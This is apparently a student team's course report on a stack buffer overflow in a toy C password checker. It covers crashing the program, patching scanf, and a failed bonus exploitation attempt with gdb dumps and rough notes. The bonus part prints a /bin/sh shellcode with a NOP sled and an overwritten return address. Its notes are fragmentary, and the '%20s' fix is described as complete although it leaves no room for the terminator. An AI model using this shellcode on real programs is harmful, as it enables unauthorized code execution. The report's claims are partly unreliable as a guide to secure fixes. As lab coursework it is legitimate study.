**Buffer Overflow – Team #3**

**Team members:**

* Sharon Greenbaum
* Alon Weinberg
* Ofer Zernichov

**#1 – Clone & Compile**

To clone & compile we’ve gone through the following steps:

1. Forked the Beyond-Cyber-01 repo over to our GitHub account
2. Cloned our repo locally: gh repo clone oferzern/Beyond-Cyber-01
3. Compiled using: gcc challenge2.c -fno-stack-protector

There are built-in security measures within gcc compilation process which protects the stack return address from being overwritten by a longer than expected user input.

Since we do aim to crash the compiled application using buffer overflow exploit we added the “-fno-stack-protector” flag – this disables the built-in security measure that protects the stack.

**#2 – Exploiting the Vulnerability – Crashing challenge2 App**

As a start, we need to understand how the app works – so we’ve looked on its c code:

*#include <stdio.h>*

*#include <string.h>*

*void Success()*

*{*

*printf("\nAccess granted!\n");*

*}*

*void Fail()*

*{*

*printf("\nAccess denied\n");*

*}*

*int main()*

*{*

*char ch[20];*

*printf("What is the password to access this super secret system?\n");*

*scanf("%s", ch);*

*if(strcmp("complex\_password", ch) == 0)*

*{*

*Success();*

*}*

*else*

*{*

*Fail();*

*}*

*}*

Marked with yellow – the array size of the ch variable – any input more than 20 chars have a chance of crashing the app. The scanf function, will assign user’s input to ch, which will hopefully crash the app at the strcmp function.

Started with 30 chars input which was too short to crash the app:

Text

Description automatically generated

We’ve extended the input to 40 chars, which crashed the app:

Text

Description automatically generated

As seen, the fault type is “segmentation fault”:

A segmentation fault (aka segfault) is a common condition that causes programs to crash. Segfaults are caused by a program trying to read or write an illegal memory location.

**#3 – Fixing the Vulnerability**

Since the vulnerability is caused by access illegal memory location, we need to make sure the user’s input which be assigned to the “ch” variable won’t be longer than 20.

Searching online for possible solution to limit variable length assigning we found on StackOverflow site’s how to limit the scanf function to assign up to X chars from the user’s input.

The original scanf:

scanf(“%s”, ch) – this option has no limitation, all of the user’s input will be placed into ch.

The new scanf:

scanf(“%20s”, ch) – this limiting the variable assignment to only the first 20 chars of the user’s input. This, fixing the vulnerability.

We now tested our updated app, with an input of 40 chars – which crashed the app before:

Text

Description automatically generated with low confidence

As can be seen, app kept running and haven’t crashed.

**#4 – Bonus task**

We’ve tried with no success but noting our findings and tests using gdb.

Below you can see all of our tries information.

Step 1: Installing GDB using brew (and <https://sourceware.org/gdb/wiki/PermissionsDarwin>)

gcc Challenge2/challenge2.c -g -fno-stack-protector

gdb a.out.dSYM/

(gdb) file a.out

(gdb) disas main

Dump of assembler code for function main:

0x0000000100003ea0 <+0>: push %rbp

0x0000000100003ea1 <+1>: mov %rsp,%rbp

0x0000000100003ea4 <+4>: sub $0x20,%rsp

0x0000000100003ea8 <+8>: movl $0x0,-0x4(%rbp)

0x0000000100003eaf <+15>: lea 0xae(%rip),%rdi # 0x100003f64

0x0000000100003eb6 <+22>: mov $0x0,%al

0x0000000100003eb8 <+24>: call 0x100003f00

0x0000000100003ebd <+29>: lea -0x20(%rbp),%rsi

0x0000000100003ec1 <+33>: lea 0xd6(%rip),%rdi # 0x100003f9e

0x0000000100003ec8 <+40>: mov $0x0,%al

0x0000000100003eca <+42>: call 0x100003f06

0x0000000100003ecf <+47>: lea -0x20(%rbp),%rsi

0x0000000100003ed3 <+51>: lea 0xc7(%rip),%rdi # 0x100003fa1

0x0000000100003eda <+58>: call 0x100003f0c

0x0000000100003edf <+63>: cmp $0x0,%eax

0x0000000100003ee2 <+66>: jne 0x100003ef2 <main+82>

0x0000000100003ee8 <+72>: call 0x100003e60 <Success>

0x0000000100003eed <+77>: jmp 0x100003ef7 <main+87>

0x0000000100003ef2 <+82>: call 0x100003e80 <Fail>

0x0000000100003ef7 <+87>: mov -0x4(%rbp),%eax

0x0000000100003efa <+90>: add $0x20,%rsp

0x0000000100003efe <+94>: pop %rbp

0x0000000100003eff <+95>: ret

End of assembler dump.

(gdb) start

…

(gdb) s

Cannot insert breakpoint 0.

Cannot access memory at address 0x0

0x0000000100015400 in ?? ()

(gdb) x/100 $rbp

0x4141414141414141: Cannot access memory at address 0x4141414141414141

Thread 2 received signal SIGSEGV, Segmentation fault.

0x0000000100015400 in ?? ()

(gdb) i r

rax 0x41414141 1094795585

rbx 0x1000c0060 4295753824

rcx 0xd60bc8fe318d001f -3023101730770583521

rdx 0x0 0

rsi 0x120a8 73896

rdi 0x7ff84ffa0568 140704470402408

rbp 0x4141414141414141 0x4141414141414141

rsp 0x7ff7bfeff830 0x7ff7bfeff830

r8 0x7ff84ffa0588 140704470402440

r9 0x0 0

r10 0xffffff00 4294967040

r11 0x7ff84ffa0580 140704470402432

r12 0x1000883a0 4295525280

r13 0x7ff7bfeff8d8 140702053824728

r14 0x100003ea0 4294983328

r15 0x10007c010 4295475216

rip 0x100015400 0x100015400

eflags 0x302 [ TF IF ]

cs 0x2b 43

ss <unavailable>

ds <unavailable>

es <unavailable>

fs 0x0 0

gs 0x0 0

fs\_base <unavailable>

gs\_base <unavailable>

(gdb) x/128bx $rbp

0x7ff7bfeff7f0: 0x20 0xf8 0xef 0xbf 0xf7 0x7f 0x00 0x00

0x7ff7bfeff7f8: 0xf7 0x3e 0x00 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff800: 0x41 0x41 0x41 0x41 0x00 0x7f 0x00 0x00

0x7ff7bfeff808: 0x33 0xa7 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff810: 0x13 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff818: 0x60 0x00 0x0c 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff820: 0x30 0xf9 0xef 0xbf 0xf7 0x7f 0x00 0x00

0x7ff7bfeff828: 0xfe 0x54 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff830: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff838: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff840: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff848: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff850: 0xa0 0x83 0x08 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff858: 0x00 0x00 0x00 0x42 0x00 0x00 0x00 0x00

0x7ff7bfeff860: 0x63 0x55 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff868: 0x70 0xc1 0x07 0x00 0x01 0x00 0x00 0x00

(gdb) info frame

Stack level 0, frame at 0x7ff7bfeff838:

rip = 0x1000154fe; saved rip = 0x0

called by frame at 0x7ff7bfeff840

Arglist at 0x7ff7bfeff828, args:

Locals at 0x7ff7bfeff828, Previous frame's sp is 0x7ff7bfeff838

Saved registers:

rip at 0x7ff7bfeff830

(gdb) x /gx 0x7ff7bfeff830

0x7ff7bfeff830: 0x0000000000000000

Tried with 74 chars:

(gdb) x/128bx $rbp

0x7ff7bfeff7f0: 0x20 0xf8 0xef 0xbf 0xf7 0x7f 0x00 0x00

0x7ff7bfeff7f8: 0xf7 0x3e 0x00 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff818: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff820: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff828: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff830: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff838: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff840: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff848: 0x41 0x41 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff850: 0xa0 0x83 0x08 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff858: 0x00 0x00 0x00 0x42 0x00 0x00 0x00 0x00

0x7ff7bfeff860: 0x63 0x55 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff868: 0x70 0xc1 0x07 0x00 0x01 0x00 0x00 0x00

16 too much, input decreased to 56 chars:

0x7ff7bfeff7f0: 0x20 0xf8 0xef 0xbf 0xf7 0x7f 0x00 0x00

0x7ff7bfeff7f8: 0xf7 0x3e 0x00 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff818: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff820: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff828: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff830: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff838: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff840: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff848: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff850: 0xa0 0x83 0x08 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff858: 0x00 0x00 0x00 0x42 0x00 0x00 0x00 0x00

0x7ff7bfeff860: 0x63 0x55 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff868: 0x70 0xc1 0x07 0x00 0x01 0x00 0x00 0x00

6 less and change them with:  
0x7ff7bfeff7f0 🡪 0x7f 0xf7 0xbf 0xef 0xf7 0xf0 -> 0xf0 0xf7 0xef 0xbf 0xf7 0x7f 🡪 \xf0\xf7\xef\xbf\xf7\x7f

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf0\xf7\xef\xbf\xf7\x7f

Where does buffer start?

(gdb) disas main

Dump of assembler code for function main:

0x0000000100003ea0 <+0>: push %rbp

0x0000000100003ea1 <+1>: mov %rsp,%rbp

0x0000000100003ea4 <+4>: sub $0x20,%rsp

0x0000000100003ea8 <+8>: movl $0x0,-0x4(%rbp)

0x0000000100003eaf <+15>: lea 0xae(%rip),%rdi # 0x100003f64

0x0000000100003eb6 <+22>: mov $0x0,%al

0x0000000100003eb8 <+24>: call 0x100003f00

0x0000000100003ebd <+29>: lea -0x20(%rbp),%rsi

0x0000000100003ec1 <+33>: lea 0xd6(%rip),%rdi # 0x100003f9e

0x0000000100003ec8 <+40>: mov $0x0,%al

0x0000000100003eca <+42>: call 0x100003f06

0x0000000100003ecf <+47>: lea -0x20(%rbp),%rsi

0x0000000100003ed3 <+51>: lea 0xc7(%rip),%rdi # 0x100003fa1

0x0000000100003eda <+58>: call 0x100003f0c

0x0000000100003edf <+63>: cmp $0x0,%eax

0x0000000100003ee2 <+66>: jne 0x100003ef2 <main+82>

0x0000000100003ee8 <+72>: call 0x100003e60 <Success>

0x0000000100003eed <+77>: jmp 0x100003ef7 <main+87>

0x0000000100003ef2 <+82>: call 0x100003e80 <Fail>

0x0000000100003ef7 <+87>: mov -0x4(%rbp),%eax

0x0000000100003efa <+90>: add $0x20,%rsp

0x0000000100003efe <+94>: pop %rbp

0x0000000100003eff <+95>: ret

End of assembler dump.

START: 0x7ff7bfeff820

SIZE: 40

Shell: 23 \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

0x0000000100015400 in ?? ()

NOPS = \x90

Zise?

0x7ff7bfeff820 -> \x20\xf8\xef\xbf\xf7\x7f\x00

\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x20\xf8\xef\xbf\xf7\x7f\x00

Start of buffer: 0x7ff7bfeff800

0x7ff7bfeff7f0: 0x20 0xf8 0xef 0xbf 0xf7 0x7f 0x00 0x00

0x7ff7bfeff7f8: 0xf7 0x3e 0x00 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff800: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff808: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff810: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff818: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41

0x7ff7bfeff820: 0x41 0x42 0x42 0x42 0x42 0x42 0x42 0x42

0x7ff7bfeff828: 0x00 0x54 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff830: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff838: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff840: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff848: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

0x7ff7bfeff850: 0xa0 0x83 0x08 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff858: 0x00 0x00 0x00 0x42 0x00 0x00 0x00 0x00

0x7ff7bfeff860: 0x63 0x55 0x01 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff868: 0x70 0xc1 0x07 0x00 0x01 0x00 0x00 0x00

0x7ff7bfeff7f0

\xf0\xf7\xef\xbf\xf7\x7f\x0x